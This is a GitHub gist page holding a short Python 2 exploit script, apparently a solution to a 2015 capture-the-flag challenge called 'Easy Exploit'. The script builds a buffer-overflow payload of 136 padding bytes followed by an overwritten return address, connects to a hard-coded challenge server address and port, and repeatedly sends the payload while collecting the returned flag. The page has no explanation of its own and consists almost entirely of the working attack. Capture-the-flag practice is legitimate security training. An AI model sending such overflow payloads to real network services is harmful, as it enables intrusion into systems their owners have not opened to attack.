Skip to content

Instantly share code, notes, and snippets.

@budanthara
Last active August 29, 2015 14:27
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save budanthara/942b9f492e8e9e3d7c41 to your computer and use it in GitHub Desktop.
Save budanthara/942b9f492e8e9e3d7c41 to your computer and use it in GitHub Desktop.
# IDSECCONF2015 CTF - Easy Exploit ( 100pts )
# snoww0lf - Noobs1337
import socket
sc = ""
sc += 'A'*136
sc += '\x16\x06\x40'
sc += '\x00'*10
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('128.199.218.190', 17045))
flag = ''
while True:
try:
numbers = s.recv(8192)
print numbers
flag+=numbers
s.send(sc)
except:
print flag
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment